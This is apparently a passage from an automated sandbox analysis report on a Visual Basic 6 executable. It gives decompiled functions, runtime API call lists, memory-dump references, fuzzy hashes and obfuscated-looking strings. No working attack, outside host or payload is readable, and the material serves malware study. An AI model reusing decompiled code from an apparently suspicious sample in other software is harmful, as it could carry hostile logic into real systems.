      • __vbaDerefAry1.MSVBVM60(?,00000002,?,00000001,?,00000000), ref: 00416378
      • __vbaDerefAry1.MSVBVM60(?,00000003,?,00000002,?,00000001,?,00000000), ref: 00416386
      • __vbaDerefAry1.MSVBVM60(?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 00416395
      • __vbaDerefAry1.MSVBVM60(?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 004163A4
      • __vbaDerefAry1.MSVBVM60(?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 004163B3
      • __vbaDerefAry1.MSVBVM60(?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 004163C2
      • __vbaDerefAry1.MSVBVM60(?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001), ref: 004163D3
      • __vbaDerefAry1.MSVBVM60(?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002), ref: 004163E4
      • __vbaDerefAry1.MSVBVM60(?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003), ref: 004163F3
      • __vbaDerefAry1.MSVBVM60(?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004), ref: 00416402
      • __vbaDerefAry1.MSVBVM60(?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005), ref: 00416411
      • __vbaDerefAry1.MSVBVM60(?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006), ref: 00416420
      • __vbaDerefAry1.MSVBVM60(?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007), ref: 0041642F
      • __vbaDerefAry1.MSVBVM60(?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008), ref: 0041643E
      • __vbaDerefAry1.MSVBVM60(?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009), ref: 0041644D
      • __vbaDerefAry1.MSVBVM60(?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A), ref: 0041645C
      • __vbaDerefAry1.MSVBVM60(?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B), ref: 0041646B
      • __vbaDerefAry1.MSVBVM60(?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C), ref: 0041647A
      • __vbaDerefAry1.MSVBVM60(?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D), ref: 00416489
      • __vbaDerefAry1.MSVBVM60(?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E), ref: 00416498
      • __vbaDerefAry1.MSVBVM60(?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F), ref: 004164A7
      • __vbaDerefAry1.MSVBVM60(?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010), ref: 004164B6
      • __vbaDerefAry1.MSVBVM60(?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011), ref: 004164C5
      • __vbaDerefAry1.MSVBVM60(?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012), ref: 004164D4
      • __vbaDerefAry1.MSVBVM60(?,0000001A,?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013), ref: 004164E3
      • __vbaLateMemCall.MSVBVM60(?,JLr198,00000003), ref: 00416540
      • __vbaAryDestruct.MSVBVM60(00000000,?,0041657C,Long,00000000,?), ref: 0041656E
      • __vbaFreeObj.MSVBVM60(00000000,?,0041657C,Long,00000000,?), ref: 00416576
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Ary1Deref$Free$CheckHresult$New2$#591CallDestructLateMoveRedim
      • String ID: JLr198$Long$Triumferings
      • API String ID: 1711790268-3194317674
      • Opcode ID: ddb99fb3754689d73a30fc639cc880d8de02944a6901e3337baa562add7c5882
      • Instruction ID: ca6b049bf0dfd1bf5fc96f162c6915c76c21802882014502bfafd33e0a384421
      • Opcode Fuzzy Hash: ddb99fb3754689d73a30fc639cc880d8de02944a6901e3337baa562add7c5882
      • Instruction Fuzzy Hash: ACA15030940208AEEB01AF66DC42FDEBBB5AF01704F41806AF504BB5F2D7B51C51DBA9
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 57%
      			E00415E4C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
      				char _v8;
      				intOrPtr _v12;
      				intOrPtr _v16;
      				char _v28;
      				char _v32;
      				char _v36;
      				char _v40;
      				char _v44;
      				char _v60;
      				char _v64;
      				void* _v68;
      				intOrPtr _v76;
      				char _v84;
      				char* _v92;
      				char _v100;
      				intOrPtr _v124;
      				char _v132;
      				char _v152;
      				intOrPtr* _t63;
      				void* _t66;
      				intOrPtr* _t67;
      				void* _t68;
      				signed int _t71;
      				char _t75;
      				intOrPtr* _t103;
      				intOrPtr* _t104;
      				void* _t112;
      				void* _t114;
      				intOrPtr _t115;
      				intOrPtr _t120;
      
      				_t115 = _t114 - 0xc;
      				 *[fs:0x0] = _t115;
      				_v16 = _t115 - 0x9c;
      				_v12 = 0x4012a8;
      				_v8 = 0;
      				_t63 = _a4;
      				 *((intOrPtr*)( *_t63 + 4))(_t63, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t112);
      				_t120 =  *0x4172d4; // 0x21de8bc
      				_v28 = 0;
      				_v32 = 0;
      				_v36 = 0;
      				_v40 = 0;
      				_v44 = 0;
      				_v60 = 0;
      				_v64 = 0;
      				_v68 = 0;
      				_v84 = 0;
      				_v100 = 0;
      				_v132 = 0;
      				_v152 = 0;
      				if(_t120 == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t103 =  *0x4172d4; // 0x21de8bc
      				_t66 =  *((intOrPtr*)( *_t103 + 0x14))(_t103,  &_v68);
      				asm("fclex");
      				if(_t66 < 0) {
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t103);
      					_push(_t66);
      					L004014C2();
      				}
      				_t67 = _v68;
      				_t104 = _t67;
      				_t68 =  *((intOrPtr*)( *_t67 + 0x100))(_t67,  &_v152);
      				asm("fclex");
      				if(_t68 < 0) {
      					_push(0x100);
      					_push(0x41084c);
      					_push(_t104);
      					_push(_t68);
      					L004014C2();
      				}
      				_t71 =  ~(0 | _v152 != 0x00400000);
      				L004014BC();
      				if(_t71 == 0) {
      					_t75 = 2;
      				} else {
      					L004013BA();
      					L004014B6();
      					_t75 = 2;
      					_v76 = 1;
      					_push(0xfffffffe);
      					_push(0xfffffffe);
      					_push(0xfffffffe);
      					_push(0xffffffff);
      					_push( &_v84);
      					_v84 = _t75;
      					L004013B4();
      					L004014B6();
      					L004014CE();
      					_v92 = L"Zymome";
      					_v100 = 8;
      					L00401450();
      					_t71 =  &_v84;
      					_push(_t71);
      					L004013C6();
      					L004014B6();
      					L004014CE();
      				}
      				_push(_t75);
      				_push("ABC");
      				_push(0x41095c);
      				_push(0);
      				L004013AE();
      				if(_t71 != 5) {
      					_push(0);
      					_push( &_v84);
      					_v76 = 1;
      					_v84 = _t75;
      					L0040145C();
      					L004014B6();
      					L004014CE();
      					_t71 =  &_v84;
      					_push(_t71);
      					L004013A8();
      					L00401444();
      					_v92 = L"expire";
      					_v100 = 8;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v124 = 0x4e950d;
      					_v132 = 3;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_push(_t75);
      					_push(L"LIpCf4eJp194");
      					_push(_v28);
      					asm("movsd");
      					L004013A2();
      				}
      				_v64 = 0x491e;
      				_push(0x416091);
      				L004014BC();
      				L0040149E();
      				L0040149E();
      				L0040149E();
      				L0040149E();
      				L004014CE();
      				return _t71;
      			}

































      0x00415e4f
      0x00415e5e
      0x00415e6e
      0x00415e71
      0x00415e7a
      0x00415e7d
      0x00415e83
      0x00415e86
      0x00415e8c
      0x00415e8f
      0x00415e92
      0x00415e95
      0x00415e98
      0x00415e9b
      0x00415e9e
      0x00415ea1
      0x00415ea4
      0x00415ea7
      0x00415eaa
      0x00415ead
      0x00415eb3
      0x00415eb5
      0x00415eba
      0x00415ebf
      0x00415ebf
      0x00415ec4
      0x00415ed1
      0x00415ed6
      0x00415ed8
      0x00415eda
      0x00415edc
      0x00415ee1
      0x00415ee2
      0x00415ee3
      0x00415ee3
      0x00415ee8
      0x00415ef5
      0x00415ef7
      0x00415eff
      0x00415f01
      0x00415f03
      0x00415f08
      0x00415f0d
      0x00415f0e
      0x00415f0f
      0x00415f0f
      0x00415f26
      0x00415f2a
      0x00415f32
      0x00415fab
      0x00415f34
      0x00415f34
      0x00415f3e
      0x00415f48
      0x00415f49
      0x00415f50
      0x00415f52
      0x00415f54
      0x00415f56
      0x00415f58
      0x00415f59
      0x00415f5c
      0x00415f66
      0x00415f6e
      0x00415f79
      0x00415f80
      0x00415f87
      0x00415f8c
      0x00415f8f
      0x00415f90
      0x00415f9a
      0x00415fa2
      0x00415fa2
      0x00415fac
      0x00415fad
      0x00415fb2
      0x00415fb7
      0x00415fb8
      0x00415fc0
      0x00415fc5
      0x00415fc6
      0x00415fc7
      0x00415fce
      0x00415fd1
      0x00415fdb
      0x00415fe3
      0x00415fe8
      0x00415feb
      0x00415fec
      0x00415ff7
      0x00416004
      0x0041600b
      0x00416015
      0x00416016
      0x00416017
      0x00416018
      0x0041601e
      0x00416025
      0x0041602c
      0x0041602d
      0x0041602e
      0x0041602f
      0x00416030
      0x00416035
      0x00416038
      0x00416039
      0x0041603e
      0x00416041
      0x00416048
      0x00416063
      0x0041606b
      0x00416073
      0x0041607b
      0x00416083
      0x0041608b
      0x00416090

      APIs
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00415EBF
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00415EE3
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000100), ref: 00415F0F
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000100), ref: 00415F2A
      • #611.MSVBVM60(00000000,?,0041084C,00000100), ref: 00415F34
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,00000100), ref: 00415F3E
      • #703.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00415F5C
      • __vbaStrMove.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00415F66
      • __vbaFreeVar.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00415F6E
      • __vbaVarDup.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00415F87
      • #667.MSVBVM60(?,?,000000FF,000000FE,000000FE,000000FE), ref: 00415F90
      • __vbaStrMove.MSVBVM60(?,?,000000FF,000000FE,000000FE,000000FE), ref: 00415F9A
      • __vbaFreeVar.MSVBVM60(?,?,000000FF,000000FE,000000FE,000000FE), ref: 00415FA2
      • __vbaInStrB.MSVBVM60(00000000,0041095C,ABC,00000002), ref: 00415FB8
      • #705.MSVBVM60(?,00000000,00000000,0041095C,ABC,00000002), ref: 00415FD1
      • __vbaStrMove.MSVBVM60(?,00000000,00000000,0041095C,ABC,00000002), ref: 00415FDB
      • __vbaFreeVar.MSVBVM60(?,00000000,00000000,0041095C,ABC,00000002), ref: 00415FE3
      • #546.MSVBVM60(?,?,00000000,00000000,0041095C,ABC,00000002), ref: 00415FEC
      • __vbaVarMove.MSVBVM60(?,?,00000000,00000000,0041095C,ABC,00000002), ref: 00415FF7
      • __vbaLateMemCall.MSVBVM60(?,LIpCf4eJp194,00000002), ref: 00416039
      • __vbaFreeObj.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 00416063
      • __vbaFreeStr.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 0041606B
      • __vbaFreeStr.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 00416073
      • __vbaFreeStr.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 0041607B
      • __vbaFreeStr.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 00416083
      • __vbaFreeVar.MSVBVM60(00416091,00000000,0041095C,ABC,00000002), ref: 0041608B
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$Move$CheckHresult$#546#611#667#703#705CallLateNew2
      • String ID: ABC$LIpCf4eJp194$Zymome$expire
      • API String ID: 4161952041-3665827500
      • Opcode ID: e108d2cc6829ab8f7b709d5daa78dd77fd1bd8773f6f0079375f776c3ceccbbc
      • Instruction ID: 01336e830ed7b281222ffb44a8b72ee6cd81311c0205198c1aa296ab931115c3
      • Opcode Fuzzy Hash: e108d2cc6829ab8f7b709d5daa78dd77fd1bd8773f6f0079375f776c3ceccbbc
      • Instruction Fuzzy Hash: 3351FC71D10218AADB00EFA5CC86ADEBBB9BF44718F50422BF405B71E2DBBC5945CB94
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 47%
      			E004139F7(void* __ebx, void* __ecx, void* __edi, void* __esi) {
      				intOrPtr _v8;
      				intOrPtr _v12;
      				signed int _v24;
      				signed int _v28;
      				signed int _v32;
      				intOrPtr _v36;
      				char _v40;
      				signed int _v44;
      				void* _v48;
      				signed int _v52;
      				intOrPtr _v60;
      				signed int _v68;
      				void* _t63;
      				intOrPtr* _t64;
      				signed int _t65;
      				void* _t67;
      				intOrPtr* _t68;
      				void* _t69;
      				void* _t71;
      				intOrPtr* _t72;
      				void* _t73;
      				void* _t75;
      				intOrPtr* _t76;
      				void* _t77;
      				void* _t80;
      				intOrPtr* _t81;
      				void* _t114;
      				intOrPtr* _t117;
      				intOrPtr* _t118;
      				intOrPtr* _t123;
      				intOrPtr* _t124;
      				intOrPtr* _t125;
      				intOrPtr* _t126;
      				intOrPtr* _t127;
      				intOrPtr _t131;
      				intOrPtr _t134;
      
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t131;
      				_v12 = _t131 - 0x54;
      				_v8 = 0x401188;
      				_t134 =  *0x4172d4; // 0x21de8bc
      				_v24 = 0;
      				_v28 = 0;
      				_v32 = 0;
      				_v40 = 0;
      				_v44 = 0;
      				_v48 = 0;
      				_v52 = 0;
      				_v68 = 0;
      				if(_t134 == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t117 =  *0x4172d4; // 0x21de8bc
      				_t63 =  *((intOrPtr*)( *_t117 + 0x14))(_t117,  &_v48);
      				asm("fclex");
      				if(_t63 >= 0) {
      					_t80 = 0x41081c;
      				} else {
      					_t80 = 0x41081c;
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t117);
      					_push(_t63);
      					L004014C2();
      				}
      				_t64 = _v48;
      				_t118 = _t64;
      				_t65 =  *((intOrPtr*)( *_t64 + 0xf8))(_t64,  &_v44);
      				asm("fclex");
      				if(_t65 >= 0) {
      					_t114 = 0x41084c;
      				} else {
      					_t114 = 0x41084c;
      					_push(0xf8);
      					_push(0x41084c);
      					_push(_t118);
      					_push(_t65);
      					L004014C2();
      				}
      				_v44 = _v44 & 0x00000000;
      				L004014B6();
      				L004014BC();
      				_push(2);
      				_push(0x410860);
      				L00401480();
      				L004014B6();
      				_push(_t65);
      				_push(0x41086c);
      				L00401486();
      				asm("sbb esi, esi");
      				L0040149E();
      				if( ~( ~( ~_t65)) != 0) {
      					if( *0x4172d4 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t123 =  *0x4172d4; // 0x21de8bc
      					_t67 =  *((intOrPtr*)( *_t123 + 0x14))(_t123,  &_v48);
      					asm("fclex");
      					if(_t67 < 0) {
      						_push(0x14);
      						_push(_t80);
      						_push(_t123);
      						_push(_t67);
      						L004014C2();
      					}
      					_t68 = _v48;
      					_t124 = _t68;
      					_t69 =  *((intOrPtr*)( *_t68 + 0x130))(_t68,  &_v44);
      					asm("fclex");
      					if(_t69 < 0) {
      						_push(0x130);
      						_push(_t114);
      						_push(_t124);
      						_push(_t69);
      						L004014C2();
      					}
      					_v44 = _v44 & 0x00000000;
      					L004014B6();
      					L004014BC();
      					if( *0x4172d4 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t125 =  *0x4172d4; // 0x21de8bc
      					_t71 =  *((intOrPtr*)( *_t125 + 0x14))(_t125,  &_v48);
      					asm("fclex");
      					if(_t71 < 0) {
      						_push(0x14);
      						_push(_t80);
      						_push(_t125);
      						_push(_t71);
      						L004014C2();
      					}
      					_t72 = _v48;
      					_t126 = _t72;
      					_t73 =  *((intOrPtr*)( *_t72 + 0x58))(_t72,  &_v44);
      					asm("fclex");
      					if(_t73 < 0) {
      						_push(0x58);
      						_push(_t114);
      						_push(_t126);
      						_push(_t73);
      						L004014C2();
      					}
      					_v44 = _v44 & 0x00000000;
      					L004014B6();
      					L004014BC();
      					if( *0x4172d4 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t127 =  *0x4172d4; // 0x21de8bc
      					_t75 =  *((intOrPtr*)( *_t127 + 0x4c))(_t127,  &_v48);
      					asm("fclex");
      					if(_t75 < 0) {
      						_push(0x4c);
      						_push(_t80);
      						_push(_t127);
      						_push(_t75);
      						L004014C2();
      					}
      					_v60 = 0xfe;
      					_v68 = 2;
      					_t76 = _v48;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_t81 = _t76;
      					asm("movsd");
      					_t77 =  *((intOrPtr*)( *_t76 + 0x1c))(_t76,  &_v52);
      					asm("fclex");
      					if(_t77 < 0) {
      						_push(0x1c);
      						_push(0x41083c);
      						_push(_t81);
      						_push(_t77);
      						L004014C2();
      					}
      					_v52 = _v52 & 0x00000000;
      					_push(_v52);
      					_t65 =  &_v40;
      					_push(_t65);
      					L0040147A();
      					L004014BC();
      				}
      				_v36 = 0x6f733;
      				_push(0x413cba);
      				L0040149E();
      				L0040149E();
      				L0040149E();
      				L004014BC();
      				return _t65;
      			}







































      0x004139fc
      0x00413a07
      0x00413a08
      0x00413a15
      0x00413a18
      0x00413a21
      0x00413a27
      0x00413a2a
      0x00413a2d
      0x00413a30
      0x00413a33
      0x00413a36
      0x00413a39
      0x00413a3c
      0x00413a3f
      0x00413a41
      0x00413a46
      0x00413a4b
      0x00413a4b
      0x00413a50
      0x00413a5d
      0x00413a62
      0x00413a64
      0x00413a77
      0x00413a66
      0x00413a66
      0x00413a6b
      0x00413a6d
      0x00413a6e
      0x00413a6f
      0x00413a70
      0x00413a70
      0x00413a7c
      0x00413a86
      0x00413a88
      0x00413a90
      0x00413a92
      0x00413aa8
      0x00413a94
      0x00413a94
      0x00413a99
      0x00413a9e
      0x00413a9f
      0x00413aa0
      0x00413aa1
      0x00413aa1
      0x00413ab0
      0x00413ab7
      0x00413abf
      0x00413ac4
      0x00413ac6
      0x00413acb
      0x00413ad5
      0x00413ada
      0x00413adb
      0x00413ae0
      0x00413aec
      0x00413af2
      0x00413afa
      0x00413b07
      0x00413b09
      0x00413b0e
      0x00413b13
      0x00413b13
      0x00413b18
      0x00413b25
      0x00413b2a
      0x00413b2c
      0x00413b2e
      0x00413b30
      0x00413b31
      0x00413b32
      0x00413b33
      0x00413b33
      0x00413b38
      0x00413b42
      0x00413b44
      0x00413b4c
      0x00413b4e
      0x00413b50
      0x00413b55
      0x00413b56
      0x00413b57
      0x00413b58
      0x00413b58
      0x00413b60
      0x00413b67
      0x00413b6f
      0x00413b7b
      0x00413b7d
      0x00413b82
      0x00413b87
      0x00413b87
      0x00413b8c
      0x00413b99
      0x00413b9e
      0x00413ba0
      0x00413ba2
      0x00413ba4
      0x00413ba5
      0x00413ba6
      0x00413ba7
      0x00413ba7
      0x00413bac
      0x00413bb6
      0x00413bb8
      0x00413bbd
      0x00413bbf
      0x00413bc1
      0x00413bc3
      0x00413bc4
      0x00413bc5
      0x00413bc6
      0x00413bc6
      0x00413bce
      0x00413bd5
      0x00413bdd
      0x00413be9
      0x00413beb
      0x00413bf0
      0x00413bf5
      0x00413bf5
      0x00413bfa
      0x00413c07
      0x00413c0c
      0x00413c0e
      0x00413c10
      0x00413c12
      0x00413c13
      0x00413c14
      0x00413c15
      0x00413c15
      0x00413c21
      0x00413c2b
      0x00413c34
      0x00413c37
      0x00413c3b
      0x00413c3c
      0x00413c3d
      0x00413c3f
      0x00413c40
      0x00413c45
      0x00413c47
      0x00413c49
      0x00413c4b
      0x00413c50
      0x00413c51
      0x00413c52
      0x00413c52
      0x00413c5a
      0x00413c5e
      0x00413c5f
      0x00413c62
      0x00413c63
      0x00413c6b
      0x00413c6b
      0x00413c70
      0x00413c77
      0x00413c9c
      0x00413ca4
      0x00413cac
      0x00413cb4
      0x00413cb9

      APIs
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00413A4B
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413A70
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000F8), ref: 00413AA1
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,000000F8), ref: 00413AB7
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000F8), ref: 00413ABF
      • #512.MSVBVM60(00410860,00000002), ref: 00413ACB
      • __vbaStrMove.MSVBVM60(00410860,00000002), ref: 00413AD5
      • __vbaStrCmp.MSVBVM60(0041086C,00000000,00410860,00000002), ref: 00413AE0
      • __vbaFreeStr.MSVBVM60(0041086C,00000000,00410860,00000002), ref: 00413AF2
      • __vbaNew2.MSVBVM60(0041082C,004172D4,0041086C,00000000,00410860,00000002), ref: 00413B13
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413B33
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000130), ref: 00413B58
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,00000130), ref: 00413B67
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000130), ref: 00413B6F
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00413B87
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413BA7
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000058), ref: 00413BC6
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,00000058), ref: 00413BD5
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000058), ref: 00413BDD
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00413BF5
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,0000004C), ref: 00413C15
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041083C,0000001C), ref: 00413C52
      • __vbaObjSet.MSVBVM60(?,?), ref: 00413C63
      • __vbaFreeObj.MSVBVM60(?,?), ref: 00413C6B
      • __vbaFreeStr.MSVBVM60(00413CBA,0041086C,00000000,00410860,00000002), ref: 00413C9C
      • __vbaFreeStr.MSVBVM60(00413CBA,0041086C,00000000,00410860,00000002), ref: 00413CA4
      • __vbaFreeStr.MSVBVM60(00413CBA,0041086C,00000000,00410860,00000002), ref: 00413CAC
      • __vbaFreeObj.MSVBVM60(00413CBA,0041086C,00000000,00410860,00000002), ref: 00413CB4
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$CheckHresult$MoveNew2$#512
      • String ID:
      • API String ID: 3305973345-0
      • Opcode ID: aa63c668c294d04cdbd11d9910b9126a3e8c0a8bf8b8322e79def539ff048b47
      • Instruction ID: 6e7a4974efc309f6fd463679b218d9804645da930ed0c673c9f5d43adaaddf38
      • Opcode Fuzzy Hash: aa63c668c294d04cdbd11d9910b9126a3e8c0a8bf8b8322e79def539ff048b47
      • Instruction Fuzzy Hash: 92818271A00209ABDB10EFA5CC86EEE77B8AF14719F10816AF401B71F1D7B85945CBA8
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 53%
      			E00413764(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
      				char _v8;
      				intOrPtr _v12;
      				intOrPtr _v16;
      				char _v28;
      				char _v32;
      				long long _v36;
      				char _v40;
      				char _v44;
      				void* _v48;
      				char _v64;
      				char _v80;
      				intOrPtr _v88;
      				char _v96;
      				void* _t45;
      				char* _t48;
      				char* _t50;
      				void* _t52;
      				intOrPtr* _t53;
      				void* _t54;
      				void* _t56;
      				intOrPtr* _t57;
      				void* _t58;
      				void* _t59;
      				intOrPtr* _t61;
      				intOrPtr* _t81;
      				intOrPtr* _t82;
      				intOrPtr* _t83;
      				intOrPtr* _t84;
      				void* _t86;
      				void* _t88;
      				intOrPtr _t89;
      				intOrPtr _t92;
      				intOrPtr _t95;
      
      				_t89 = _t88 - 0xc;
      				 *[fs:0x0] = _t89;
      				_v16 = _t89 - 0x64;
      				_v12 = 0x401168;
      				_v8 = 0;
      				_t61 = _a4;
      				_t45 =  *((intOrPtr*)( *_t61 + 4))(_t61, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t86);
      				_push(0x4107fc);
      				_v28 = 0;
      				_v36 = 0;
      				_v32 = 0;
      				_v40 = 0;
      				_v44 = 0;
      				_v48 = 0;
      				_v64 = 0;
      				_v80 = 0;
      				_v96 = 0;
      				L004014D4();
      				_push(_t45);
      				_push( &_v64);
      				L004014DA();
      				_v88 = 0x410808;
      				_push( &_v64);
      				_t48 =  &_v96;
      				_push(_t48);
      				_v96 = 0x8008;
      				L004014E0();
      				L004014CE();
      				if(_t48 != 0) {
      					_t92 =  *0x4172d4; // 0x21de8bc
      					if(_t92 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t81 =  *0x4172d4; // 0x21de8bc
      					_t52 =  *((intOrPtr*)( *_t81 + 0x4c))(_t81,  &_v48);
      					asm("fclex");
      					if(_t52 < 0) {
      						_push(0x4c);
      						_push(0x41081c);
      						_push(_t81);
      						_push(_t52);
      						L004014C2();
      					}
      					_t53 = _v48;
      					_t82 = _t53;
      					_t54 =  *((intOrPtr*)( *_t53 + 0x28))(_t53);
      					asm("fclex");
      					if(_t54 < 0) {
      						_push(0x28);
      						_push(0x41083c);
      						_push(_t82);
      						_push(_t54);
      						L004014C2();
      					}
      					L004014BC();
      					_t95 =  *0x4172d4; // 0x21de8bc
      					if(_t95 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t83 =  *0x4172d4; // 0x21de8bc
      					_t56 =  *((intOrPtr*)( *_t83 + 0x14))(_t83,  &_v48);
      					asm("fclex");
      					if(_t56 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t83);
      						_push(_t56);
      						L004014C2();
      					}
      					_t57 = _v48;
      					_t84 = _t57;
      					_t58 =  *((intOrPtr*)( *_t57 + 0xd8))(_t57,  &_v44);
      					asm("fclex");
      					if(_t58 < 0) {
      						_push(0xd8);
      						_push(0x41084c);
      						_push(_t84);
      						_push(_t58);
      						L004014C2();
      					}
      					_v44 = 0;
      					L004014B6();
      					L004014BC();
      					L004014B0();
      					_t59 =  *((intOrPtr*)( *_t61 + 0x64))(_t61, _t58);
      					asm("fclex");
      					if(_t59 < 0) {
      						_push(0x64);
      						_push(0x4103e8);
      						_push(_t61);
      						_push(_t59);
      						L004014C2();
      					}
      				}
      				_push( &_v64);
      				L004014A4();
      				_t50 =  &_v64;
      				_push(_t50);
      				L004014AA();
      				L004014B6();
      				L004014CE();
      				_v36 =  *0x401158;
      				asm("wait");
      				_push(0x413964);
      				L0040149E();
      				L0040149E();
      				return _t50;
      			}




































      0x00413767
      0x00413776
      0x00413783
      0x00413786
      0x0041378f
      0x00413792
      0x00413798
      0x0041379b
      0x004137a0
      0x004137a3
      0x004137a6
      0x004137a9
      0x004137ac
      0x004137af
      0x004137b2
      0x004137b5
      0x004137b8
      0x004137bb
      0x004137c0
      0x004137c4
      0x004137c5
